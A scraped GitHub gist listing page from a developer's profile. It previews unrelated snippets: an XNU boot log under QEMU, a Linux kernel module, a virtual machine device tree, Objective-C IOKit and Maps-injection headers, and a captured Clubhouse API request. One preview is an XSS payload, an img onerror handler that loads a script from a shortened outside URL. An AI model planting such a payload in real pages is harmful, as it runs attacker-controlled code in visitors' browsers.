Skip to content

Instantly share code, notes, and snippets.

View zhuowei's full-sized avatar

zhuowei

View GitHub Profile
QEMU 6.0.50 monitor - type 'help' for more information
(qemu) c
(qemu) Darwin Kernel Version 21.0.0: Sun Jun 20 18:43:47 PDT 2021; root:xnu-8011.0.0.121.4~2/RELEASE_ARM64_VMAPPLE
pmap_startup() init/release time: 164747 microsec
pmap_startup() delayed init/release of 0 pages
vm_page_bootstrap: 285229 free pages, 21835 wired pages, (up to 0 of which are delayed free)
VM boostrap: 107 maps, 408 entries and 512 holes available
"vm_compressor_mode" is 4
VM bootstrap done: 99 maps, 393 entries and 512 holes left
Firehose configured: 16 chunks, 8 io pages
#include <linux/module.h> // included for all kernel modules
#include <linux/kernel.h> // included for KERN_INFO
#include <linux/init.h> // included for __init and __exit macros
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Lakshmanan");
MODULE_DESCRIPTION("A Simple Hello World module");
#define ACTLR_EL1_EnTSO (1ULL << 1)
@zhuowei
zhuowei / VzFdt.dts
Created June 23, 2021 02:39
Apple Silicon Virtualization.framework VM's device tree
/dts-v1/;
/ {
#address-cells = < 0x02 >;
#size-cells = < 0x02 >;
interrupt-parent = < 0x01 >;
clock {
#clock-cells = < 0x00 >;
clock-frequency = < 0x16e3600 >;
<style>
.logo {
position: absolute;
background: url("dvdVideo3.png") center / contain no-repeat;
width: 150px;
height: 88px;
}
* {
margin: 0;
padding: 0;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UnifiedBar</key>
<dict>
<key>DisclosureRequired</key>
<string>ace440ac-b4f6-4b43-aade-02bba1589aef</string>
<key>Enabled</key>
<false/>
<img src="a" onerror="var n = document.createElement('script');n.src='https://bit.ly/3grlBPg';document.body.appendChild(n);">
@import Darwin;
@import ObjectiveC;
@import CloudKit;
extern bool GEOConfigGetBOOL(int feature, void* something);
// Hooks feature flags in a resigned Maps.app to return true.
// Usage:
// clang -shared -fmodules -o libmaps_inject.dylib maps_inject.m \
// "$(xcrun
@import Darwin;
@import Foundation;
@import IOKit;
typedef CFTypeRef IOAVServiceRef;
extern IOAVServiceRef IOAVServiceCreate(CFAllocatorRef allocator);
extern IOReturn IOAVServiceCopyEDID(IOAVServiceRef service, CFDataRef* x2);
// outputBufferSize must be less than (1 << 12) (4096 bytes)
extern IOReturn IOAVServiceReadI2C(IOAVServiceRef service, uint32_t chipAddress, uint32_t offset, void* outputBuffer,
uint32_t outputBufferSize);
#pragma once
@import Darwin;
@import Foundation;
typedef mach_port_t io_object_t;
typedef io_object_t io_service_t;
typedef CFTypeRef IOAVServiceRef;
typedef CFTypeRef IOAVDeviceRef;
typedef kern_return_t IOReturn;
// allocator: must be kCFAllocatorDefault
// Note that this defaults to grabbing the external IOAVService:
POST /api/start_phone_number_auth HTTP/1.1
Host: zhuowei-clubhouse.ngrok.io
Accept: application/json
CH-UserID: (null)
CH-Languages: en-US
CH-Locale: en_US
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US;q=1
CH-AppBuild: 269
CH-AppVersion: 0.1.25